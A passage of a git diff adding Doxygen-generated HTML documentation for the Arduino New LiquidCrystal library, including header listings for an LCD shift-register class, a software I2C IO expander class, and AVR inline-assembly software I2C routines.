+00206       fio_digitalWrite_HIGH(_strobe_register, _strobe_bit);
+00207       waitUsec( 1 ); // strobe pulse must be >450ns (old code had 10ms)
+00208       fio_digitalWrite_SWITCHTO(_strobe_register, _strobe_bit,LOW);
+00209    }
+00210    waitUsec( 40 ); // commands need > 37us to settle
+00211 }
+
+
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:06 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html new file mode 100644 index 0000000..1b75e74 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html @@ -0,0 +1,95 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Classes
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference
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+
+
#include <inttypes.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR_LCD3
+
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html new file mode 100644 index 0000000..9888666 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html @@ -0,0 +1,129 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This module is a port by Marc MERLIN <marc_soft<at>merlins.org>
+00007 // See .cpp file for hardware details.
+00008 // ---------------------------------------------------------------------------
+00009 #ifndef _LIQUIDCRYSTAL_SR_LCD3_
+00010 #define _LIQUIDCRYSTAL_SR_LCD3_
+00011 
+00012 #include <inttypes.h>
+00013 #include "LCD.h"
+00014 
+00015 
+00016 class LiquidCrystal_SR_LCD3 : public LCD
+00017 {
+00018 public:
+00030    LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, uint8_t enable );
+00031    
+00044    virtual void send(uint8_t value, uint8_t mode);
+00045    
+00046    
+00047 private:
+00048    
+00054    void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, 
+00055               uint8_t font );
+00061    void write4bits ( uint8_t );
+00062    void _pushOut ( uint8_t );
+00063    
+00064    // Serial Data pin
+00065    fio_bit _srdata_bit;
+00066    fio_register _srdata_register;
+00067    
+00068    // Clock Pin
+00069    fio_bit _srclock_bit;
+00070    fio_register _srclock_register;
+00071    
+00072    // Enable Pin
+00073    fio_bit _strobe_bit;
+00074    fio_register _strobe_register;
+00075 };
+00076 
+00077 #endif
+00078 
+
+
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_s_i2_c_i_o_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_s_i2_c_i_o_8h_source.html new file mode 100644 index 0000000..a9c5f1d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_s_i2_c_i_o_8h_source.html @@ -0,0 +1,170 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SI2CIO.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file SI2CIO.h
+
13 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+
14 // chip, but using software I2C.
+
15 //
+
16 // @brief
+
17 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+
18 // The library implements basic IO general methods to configure IO pin direction
+
19 // read and write uint8_t operations and basic pin level routines to set or read
+
20 // a particular IO port.
+
21 //
+
22 // @version API 1.0.0
+
23 //
+
24 // @author F. Malpartida - fmalpartida@gmail.com
+
25 // Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com
+
26 // ---------------------------------------------------------------------------
+
27 
+
28 #ifndef _SI2CIO_H_
+
29 #define _SI2CIO_H_
+
30 
+
31 #include <inttypes.h>
+
32 
+
33 #define _SI2CIO_VERSION "1.0.0"
+
34 
+
42 class SI2CIO
+
43 {
+
44 public:
+
50  SI2CIO ( );
+
51 
+
63  int begin ( uint8_t i2cAddr );
+
64 
+
74  void pinMode ( uint8_t pin, uint8_t dir );
+
75 
+
84  void portMode ( uint8_t dir );
+
85 
+
95  uint8_t read ( void );
+
96 
+
109  uint8_t digitalRead ( uint8_t pin );
+
110 
+
124  int write ( uint8_t value );
+
125 
+
137  int digitalWrite ( uint8_t pin, uint8_t level );
+
138 
+
139 
+
140 
+
141 private:
+
142  uint8_t _shadow; // Shadow output
+
143  uint8_t _dirMask; // Direction mask
+
144  uint8_t _i2cAddr; // I2C address
+
145  bool _initialised; // Initialised object
+
146 
+
147 };
+
148 
+
149 #endif
+
SI2CIO::digitalWrite
int digitalWrite(uint8_t pin, uint8_t level)
Definition: SI2CIO.cpp:179
+
SI2CIO::write
int write(uint8_t value)
Definition: SI2CIO.cpp:141
+
SI2CIO
Definition: SI2CIO.h:42
+
SI2CIO::portMode
void portMode(uint8_t dir)
Definition: SI2CIO.cpp:106
+
SI2CIO::SI2CIO
SI2CIO()
Definition: SI2CIO.cpp:59
+
SI2CIO::read
uint8_t read(void)
Definition: SI2CIO.cpp:124
+
SI2CIO::pinMode
void pinMode(uint8_t pin, uint8_t dir)
Definition: SI2CIO.cpp:89
+
SI2CIO::begin
int begin(uint8_t i2cAddr)
Definition: SI2CIO.cpp:72
+
SI2CIO::digitalRead
uint8_t digitalRead(uint8_t pin)
Definition: SI2CIO.cpp:162
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_soft_i2_c_master_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_soft_i2_c_master_8h_source.html new file mode 100644 index 0000000..3c9e563 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_soft_i2_c_master_8h_source.html @@ -0,0 +1,606 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.h
+
+
+
1 /* Arduino SoftI2C library.
+
2  *
+
3  * This is a very fast and very light-weight software I2C-master library
+
4  * written in assembler. It is based on Peter Fleury's I2C software
+
5  * library: http://homepage.hispeed.ch/peterfleury/avr-software.html
+
6  *
+
7  *
+
8  * This Library is free software: you can redistribute it and/or modify
+
9  * it under the terms of the GNU General Public License as published by
+
10  * the Free Software Foundation, either version 3 of the License, or
+
11  * (at your option) any later version.
+
12  *
+
13  * This Library is distributed in the hope that it will be useful,
+
14  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+
15  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+
16  * GNU General Public License for more details.
+
17  *
+
18  * You should have received a copy of the GNU General Public License
+
19  * along with the Arduino I2cMaster Library. If not, see
+
20  * <http://www.gnu.org/licenses/>.
+
21  */
+
22 
+
23 /* In order to use the library, you need to define SDA_PIN, SCL_PIN,
+
24  * SDA_PORT and SCL_PORT before including this file. Have a look at
+
25  * http://www.arduino.cc/en/Reference/PortManipulation for finding out
+
26  * which values to use. For example, if you use digital pin 3 for
+
27  * SDA and digital pin 13 for SCL you have to use the following
+
28  * definitions:
+
29  * #define SDA_PIN 3
+
30  * #define SDA_PORT PORTB
+
31  * #define SCL_PIN 5
+
32  * #define SCL_PORT PORTB
+
33  *
+
34  * You can also define the following constants (see also below):
+
35  * - I2C_CPUFREQ, when changing CPU clock frequency dynamically
+
36  * - I2C_FASTMODE = 1 meaning that the I2C bus allows speeds up to 400 kHz
+
37  * - I2C_SLOWMODE = 1 meaning that the I2C bus will allow only up to 25 kHz
+
38  * - I2C_NOINTERRUPT = 1 in order to prohibit interrupts while
+
39  * communicating (see below). This can be useful if you use the library
+
40  * for communicationg with SMbus devices, which have timeouts.
+
41  * Note, however, that interrupts are disabledfrom issuing a start condition
+
42  * until issuing a stop condition. So use this option with care!
+
43  * - I2C_TIMEOUT = 0..10000 mssec in order to return from the I2C functions
+
44  * in case of a I2C bus lockup (i.e., SCL constantly low). 0 means no timeout
+
45  */
+
46 
+
47 /* Changelog:
+
48  * Version 1.1:
+
49  * - removed I2C_CLOCK_STRETCHING
+
50  * - added I2C_TIMEOUT time in msec (0..10000) until timeout or 0 if no timeout
+
51  * - changed i2c_init to return true iff both SDA and SCL are high
+
52  * - changed interrupt disabling so that the previous IRQ state is retored
+
53  * Version 1.0: basic functionality
+
54  */
+
55 #include <avr/io.h>
+
56 #include <Arduino.h>
+
57 
+
58 #ifndef _SOFTI2C_H
+
59 #define _SOFTI2C_H 1
+
60 
+
61 // Init function. Needs to be called once in the beginning.
+
62 // Returns false if SDA or SCL are low, which probably means
+
63 // a I2C bus lockup or that the lines are not pulled up.
+
64 boolean __attribute__ ((noinline)) i2c_init(void);
+
65 
+
66 // Start transfer function: <addr> is the 8-bit I2C address (including the R/W
+
67 // bit).
+
68 // Return: true if the slave replies with an "acknowledge", false otherwise
+
69 bool __attribute__ ((noinline)) i2c_start(uint8_t addr);
+
70 
+
71 // Similar to start function, but wait for an ACK! Be careful, this can
+
72 // result in an infinite loop!
+
73 void __attribute__ ((noinline)) i2c_start_wait(uint8_t addr);
+
74 
+
75 // Repeated start function: After having claimed the bus with a start condition,
+
76 // you can address another or the same chip again without an intervening
+
77 // stop condition.
+
78 // Return: true if the slave replies with an "acknowledge", false otherwise
+
79 bool __attribute__ ((noinline)) i2c_rep_start(uint8_t addr);
+
80 
+
81 // Issue a stop condition, freeing the bus.
+
82 void __attribute__ ((noinline)) i2c_stop(void) asm("ass_i2c_stop");
+
83 
+
84 // Write one byte to the slave chip that had been addressed
+
85 // by the previous start call. <value> is the byte to be sent.
+
86 // Return: true if the slave replies with an "acknowledge", false otherwise
+
87 bool __attribute__ ((noinline)) i2c_write(uint8_t value) asm("ass_i2c_write");
+
88 
+
89 // Read one byte. If <last> is true, we send a NAK after having received
+
90 // the byte in order to terminate the read sequence.
+
91 uint8_t __attribute__ ((noinline)) i2c_read(bool last);
+
92 
+
93 // You can set I2C_CPUFREQ independently of F_CPU if you
+
94 // change the CPU frequency on the fly. If do not define it,
+
95 // it will use the value of F_CPU
+
96 #ifndef I2C_CPUFREQ
+
97 #define I2C_CPUFREQ F_CPU
+
98 #endif
+
99 
+
100 // If I2C_FASTMODE is set to 1, then the highest possible frequency below 400kHz
+
101 // is selected. Be aware that not all slave chips may be able to deal with that!
+
102 #ifndef I2C_FASTMODE
+
103 #define I2C_FASTMODE 0
+
104 #endif
+
105 
+
106 // If I2C_FASTMODE is not defined or defined to be 0, then you can set
+
107 // I2C_SLOWMODE to 1. In this case, the I2C frequency will not be higher
+
108 // than 25KHz. This could be useful for problematic buses.
+
109 #ifndef I2C_SLOWMODE
+
110 #define I2C_SLOWMODE 0
+
111 #endif
+
112 
+
113 // if I2C_NOINTERRUPT is 1, then the I2C routines are not interruptable.
+
114 // This is most probably only necessary if you are using a 1MHz system clock,
+
115 // you are communicating with a SMBus device, and you want to avoid timeouts.
+
116 // Be aware that the interrupt bit is enabled after each call. So the
+
117 // I2C functions should not be called in interrupt routines or critical regions.
+
118 #ifndef I2C_NOINTERRUPT
+
119 #define I2C_NOINTERRUPT 0
+
120 #endif
+
121 
+
122 // I2C_TIMEOUT can be set to a value between 1 and 10000.
+
123 // If it is defined and nonzero, it leads to a timeout if the
+
124 // SCL is low longer than I2C_TIMEOUT milliseconds, i.e., max timeout is 10 sec
+
125 #ifndef I2C_TIMEOUT
+
126 #define I2C_TIMEOUT 0
+
127 #else
+
128 #if I2C_TIMEOUT > 10000
+
129 #error I2C_TIMEOUT is too large
+
130 #endif
+
131 #endif
+
132 
+
133 #define I2C_TIMEOUT_DELAY_LOOPS (I2C_CPUFREQ/1000UL)*I2C_TIMEOUT/4000UL
+
134 #if I2C_TIMEOUT_DELAY_LOOPS < 1
+
135 #define I2C_MAX_STRETCH 1
+
136 #else
+
137 #if I2C_TIMEOUT_DELAY_LOOPS > 60000UL
+
138 #define I2C_MAX_STRETCH 60000UL
+
139 #else
+
140 #define I2C_MAX_STRETCH I2C_TIMEOUT_DELAY_LOOPS
+
141 #endif
+
142 #endif
+
143 
+
144 #if I2C_FASTMODE
+
145 #define I2C_DELAY_COUNTER (((I2C_CPUFREQ/400000L)/2-19)/3)
+
146 #else
+
147 #if I2C_SLOWMODE
+
148 #define I2C_DELAY_COUNTER (((I2C_CPUFREQ/25000L)/2-19)/3)
+
149 #else
+
150 #define I2C_DELAY_COUNTER (((I2C_CPUFREQ/100000L)/2-19)/3)
+
151 #endif
+
152 #endif
+
153 
+
154 // Table of I2C bus speed in kbit/sec:
+
155 // CPU clock: 1MHz 2MHz 4MHz 8MHz 16MHz 20MHz
+
156 // Fast I2C mode 40 80 150 300 400 400
+
157 // Standard I2C mode 40 80 100 100 100 100
+
158 // Slow I2C mode 25 25 25 25 25 25
+
159 
+
160 // constants for reading & writing
+
161 #define I2C_READ 1
+
162 #define I2C_WRITE 0
+
163 
+
164 // map the IO register back into the IO address space
+
165 #define SDA_DDR (_SFR_IO_ADDR(SDA_PORT) - 1)
+
166 #define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1)
+
167 #define SDA_OUT _SFR_IO_ADDR(SDA_PORT)
+
168 #define SCL_OUT _SFR_IO_ADDR(SCL_PORT)
+
169 #define SDA_IN (_SFR_IO_ADDR(SDA_PORT) - 2)
+
170 #define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2)
+
171 
+
172 #ifndef __tmp_reg__
+
173 #define __tmp_reg__ 0
+
174 #endif
+
175 
+
176 
+
177 // Internal delay functions.
+
178 void __attribute__ ((noinline)) i2c_delay_half(void) asm("ass_i2c_delay_half");
+
179 void __attribute__ ((noinline)) i2c_wait_scl_high(void) asm("ass_i2c_wait_scl_high");
+
180 
+
181 void i2c_delay_half(void)
+
182 { // function call 3 cycles => 3C
+
183 #if I2C_DELAY_COUNTER < 1
+
184  __asm__ __volatile__ (" ret");
+
185  // 7 cycles for call and return
+
186 #else
+
187  __asm__ __volatile__
+
188  (
+
189  " ldi r25, %[DELAY] ;load delay constant ;; 4C \n\t"
+
190  "_Lidelay: \n\t"
+
191  " dec r25 ;decrement counter ;; 4C+xC \n\t"
+
192  " brne _Lidelay ;;5C+(x-1)2C+xC\n\t"
+
193  " ret ;; 9C+(x-1)2C+xC = 7C+xC"
+
194  : : [DELAY] "M" I2C_DELAY_COUNTER : "r25");
+
195  // 7 cycles + 3 times x cycles
+
196 #endif
+
197 }
+
198 
+
199 void i2c_wait_scl_high(void)
+
200 {
+
201 #if I2C_TIMEOUT <= 0
+
202  __asm__ __volatile__
+
203  ("_Li2c_wait_stretch: \n\t"
+
204  " sbis %[SCLIN],%[SCLPIN] ;wait for SCL high \n\t"
+
205  " rjmp _Li2c_wait_stretch \n\t"
+
206  " cln ;signal: no timeout \n\t"
+
207  " ret "
+
208  : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN));
+
209 #else
+
210  __asm__ __volatile__
+
211  ( " ldi r27, %[HISTRETCH] ;load delay counter \n\t"
+
212  " ldi r26, %[LOSTRETCH] \n\t"
+
213  "_Lwait_stretch: \n\t"
+
214  " clr __tmp_reg__ ;do next loop 255 times \n\t"
+
215  "_Lwait_stretch_inner_loop: \n\t"
+
216  " rcall _Lcheck_scl_level ;call check function ;; 12C \n\t"
+
217  " brpl _Lstretch_done ;done if N=0 ;; +1 = 13C\n\t"
+
218  " dec __tmp_reg__ ;dec inner loop counter;; +1 = 14C\n\t"
+
219  " brne _Lwait_stretch_inner_loop ;; +2 = 16C\n\t"
+
220  " sbiw r26,1 ;dec outer loop counter \n\t"
+
221  " brne _Lwait_stretch ;continue with outer loop \n\t"
+
222  " sen ;timeout -> set N-bit=1 \n\t"
+
223  " rjmp _Lwait_return ;and return with N=1\n\t"
+
224  "_Lstretch_done: ;SCL=1 sensed \n\t"
+
225  " cln ;OK -> clear N-bit \n\t"
+
226  " rjmp _Lwait_return ; and return with N=0 \n\t"
+
227 
+
228  "_Lcheck_scl_level: ;; call = 3C\n\t"
+
229  " cln ;; +1C = 4C \n\t"
+
230  " sbic %[SCLIN],%[SCLPIN] ;skip if SCL still low ;; +2C = 6C \n\t"
+
231  " rjmp _Lscl_high ;; +0C = 6C \n\t"
+
232  " sen ;; +1 = 7C\n\t "
+
233  "_Lscl_high: "
+
234  " nop ;; +1C = 8C \n\t"
+
235  " ret ;return N-Bit=1 if low ;; +4 = 12C\n\t"
+
236 
+
237  "_Lwait_return:"
+
238  : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN),
+
239  [HISTRETCH] "M" (I2C_MAX_STRETCH>>8),
+
240  [LOSTRETCH] "M" (I2C_MAX_STRETCH&0xFF)
+
241  : "r26", "r27");
+
242 #endif
+
243 }
+
244 
+
245 
+
246 boolean i2c_init(void)
+
247 {
+
248  __asm__ __volatile__
+
249  (" cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
250  " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t"
+
251  " cbi %[SDAOUT],%[SDAPIN] ;clear SDA output value \n\t"
+
252  " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t"
+
253  " clr r24 ;set return value to false \n\t"
+
254  " clr r25 ;set return value to false \n\t"
+
255  " sbis %[SDAIN],%[SDAPIN] ;check for SDA high\n\t"
+
256  " ret ;if low return with false \n\t"
+
257  " sbis %[SCLIN],%[SCLPIN] ;check for SCL high \n\t"
+
258  " ret ;if low return with false \n\t"
+
259  " ldi r24,1 ;set return value to true \n\t"
+
260  " ret "
+
261  : :
+
262  [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),
+
263  [SCLIN] "I" (SCL_IN), [SCLOUT] "I" (SCL_OUT),
+
264  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN),
+
265  [SDAIN] "I" (SDA_IN), [SDAOUT] "I" (SDA_OUT));
+
266  return true;
+
267 }
+
268 
+
269 bool i2c_start(uint8_t addr)
+
270 {
+
271  __asm__ __volatile__
+
272  (
+
273 #if I2C_NOINTERRUPT
+
274  " cli ;clear IRQ bit \n\t"
+
275 #endif
+
276  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
277  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
278  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
279  " rcall ass_i2c_delay_half ;wait T/2 \n\t"
+
280  " rcall ass_i2c_write ;now write address \n\t"
+
281  " ret"
+
282  : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN),
+
283  [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN));
+
284  return true; // we never return here!
+
285 }
+
286 
+
287 bool i2c_rep_start(uint8_t addr)
+
288 {
+
289  __asm__ __volatile__
+
290 
+
291  (
+
292 #if I2C_NOINTERRUPT
+
293  " cli \n\t"
+
294 #endif
+
295  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t"
+
296  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
297  " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
298  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
299  " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t"
+
300  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
301  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
302  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
303  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
304  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
305  " rcall ass_i2c_write \n\t"
+
306  " ret"
+
307  : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),[SCLIN] "I" (SCL_IN),
+
308  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN));
+
309  return true; // just to fool the compiler
+
310 }
+
311 
+
312 void i2c_start_wait(uint8_t addr)
+
313 {
+
314  __asm__ __volatile__
+
315  (
+
316  " push r24 ;save original parameter \n\t"
+
317  "_Li2c_start_wait1: \n\t"
+
318  " pop r24 ;restore original parameter\n\t"
+
319  " push r24 ;and save again \n\t"
+
320 #if I2C_NOINTERRUPT
+
321  " cli ;disable interrupts \n\t"
+
322 #endif
+
323  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
324  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
325  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
326  " rcall ass_i2c_delay_half ;delay T/2 \n\t"
+
327  " rcall ass_i2c_write ;write address \n\t"
+
328  " tst r24 ;if device not busy -> done \n\t"
+
329  " brne _Li2c_start_wait_done \n\t"
+
330  " rcall ass_i2c_stop ;terminate write & enable IRQ \n\t"
+
331  " rjmp _Li2c_start_wait1 ;device busy, poll ack again \n\t"
+
332  "_Li2c_start_wait_done: \n\t"
+
333  " pop __tmp_reg__ ;pop off orig argument \n\t"
+
334  " ret "
+
335  : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN),
+
336  [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN));
+
337 }
+
338 
+
339 void i2c_stop(void)
+
340 {
+
341  __asm__ __volatile__
+
342  (
+
343  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t"
+
344  " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t"
+
345  " rcall ass_i2c_delay_half ;T/2 delay \n\t"
+
346  " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t"
+
347  " rcall ass_i2c_delay_half ;T/2 delay \n\t"
+
348  " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t"
+
349  " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t"
+
350  " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
351  " rcall ass_i2c_delay_half \n\t"
+
352 #if I2C_NOINTERRUPT
+
353  " sei ;enable interrupts again!\n\t"
+
354 #endif
+
355  : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN),
+
356  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN));
+
357 }
+
358 
+
359 bool i2c_write(uint8_t value)
+
360 {
+
361  __asm__ __volatile__
+
362  (
+
363  " sec ;set carry flag \n\t"
+
364  " rol r24 ;shift in carry and shift out MSB \n\t"
+
365  " rjmp _Li2c_write_first \n\t"
+
366  "_Li2c_write_bit:\n\t"
+
367  " lsl r24 ;left shift into carry ;; 1C\n\t"
+
368  "_Li2c_write_first:\n\t"
+
369  " breq _Li2c_get_ack ;jump if TXreg is empty;; +1 = 2C \n\t"
+
370  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 4C \n\t"
+
371  " nop \n\t"
+
372  " nop \n\t"
+
373  " nop \n\t"
+
374  " brcc _Li2c_write_low ;;+1/+2=5/6C\n\t"
+
375  " nop ;; +1 = 7C \n\t"
+
376  " cbi %[SDADDR],%[SDAPIN] ;release SDA ;; +2 = 9C \n\t"
+
377  " rjmp _Li2c_write_high ;; +2 = 11C \n\t"
+
378  "_Li2c_write_low: \n\t"
+
379  " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; +2 = 9C \n\t"
+
380  " rjmp _Li2c_write_high ;;+2 = 11C \n\t"
+
381  "_Li2c_write_high: \n\t"
+
382 #if I2C_DELAY_COUNTER >= 1
+
383  " rcall ass_i2c_delay_half ;delay T/2 ;;+X = 11C+X\n\t"
+
384 #endif
+
385  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;;+2 = 13C+X\n\t"
+
386  " cln ;clear N-bit ;;+1 = 14C+X\n\t"
+
387  " nop \n\t"
+
388  " nop \n\t"
+
389  " nop \n\t"
+
390  " sbis %[SCLIN],%[SCLPIN] ;check for SCL high ;;+2 = 16C+X\n\t"
+
391  " rcall ass_i2c_wait_scl_high \n\t"
+
392  " brpl _Ldelay_scl_high ;;+2 = 18C+X\n\t"
+
393  "_Li2c_write_return_false: \n\t"
+
394  " clr r24 ; return false because of timeout \n\t"
+
395  " rjmp _Li2c_write_return \n\t"
+
396  "_Ldelay_scl_high: \n\t"
+
397 #if I2C_DELAY_COUNTER >= 1
+
398  " rcall ass_i2c_delay_half ;delay T/2 ;;+X= 18C+2X\n\t"
+
399 #endif
+
400  " rjmp _Li2c_write_bit \n\t"
+
401  " ;; +2 = 20C +2X for one bit-loop \n\t"
+
402  "_Li2c_get_ack: \n\t"
+
403  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 5C \n\t"
+
404  " nop \n\t"
+
405  " nop \n\t"
+
406  " cbi %[SDADDR],%[SDAPIN] ;release SDA ;;+2 = 7C \n\t"
+
407 #if I2C_DELAY_COUNTER >= 1
+
408  " rcall ass_i2c_delay_half ;delay T/2 ;; +X = 7C+X \n\t"
+
409 #endif
+
410  " clr r25 ;; 17C+2X \n\t"
+
411  " clr r24 ;return 0 ;; 14C + X \n\t"
+
412  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; +2 = 9C+X\n\t"
+
413  "_Li2c_ack_wait: \n\t"
+
414  " cln ; clear N-bit ;; 10C + X\n\t"
+
415  " nop \n\t"
+
416  " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X \n\t"
+
417  " rcall ass_i2c_wait_scl_high \n\t"
+
418  " brmi _Li2c_write_return_false ;; 13C + X \n\t "
+
419  " sbis %[SDAIN],%[SDAPIN] ;if SDA hi -> return 0 ;; 15C + X \n\t"
+
420  " ldi r24,1 ;return true ;; 16C + X \n\t"
+
421 #if I2C_DELAY_COUNTER >= 1
+
422  " rcall ass_i2c_delay_half ;delay T/2 ;; 16C + 2X \n\t"
+
423 #endif
+
424  "_Li2c_write_return: \n\t"
+
425  " nop \n\t "
+
426  " nop \n\t "
+
427  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t"
+
428  " ret \n\t"
+
429  " ;; + 4 = 17C + 2X for acknowldge bit"
+
430  ::
+
431  [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN),
+
432  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN));
+
433  return true; // fooling the compiler
+
434 }
+
435 
+
436 uint8_t i2c_read(bool last)
+
437 {
+
438  __asm__ __volatile__
+
439  (
+
440  " ldi r23,0x01 \n\t"
+
441  "_Li2c_read_bit: \n\t"
+
442  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t"
+
443  " cbi %[SDADDR],%[SDAPIN] ;release SDA(prev. ACK);; 4C \n\t"
+
444  " nop \n\t"
+
445  " nop \n\t"
+
446  " nop \n\t"
+
447 #if I2C_DELAY_COUNTER >= 1
+
448  " rcall ass_i2c_delay_half ;delay T/2 ;; 4C+X \n\t"
+
449 #endif
+
450  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 6C + X \n\t"
+
451 #if I2C_DELAY_COUNTER >= 1
+
452  " rcall ass_i2c_delay_half ;delay T/2 ;; 6C + 2X \n\t"
+
453 #endif
+
454  " cln ; clear N-bit ;; 7C + 2X \n\t"
+
455  " nop \n\t "
+
456  " nop \n\t "
+
457  " nop \n\t "
+
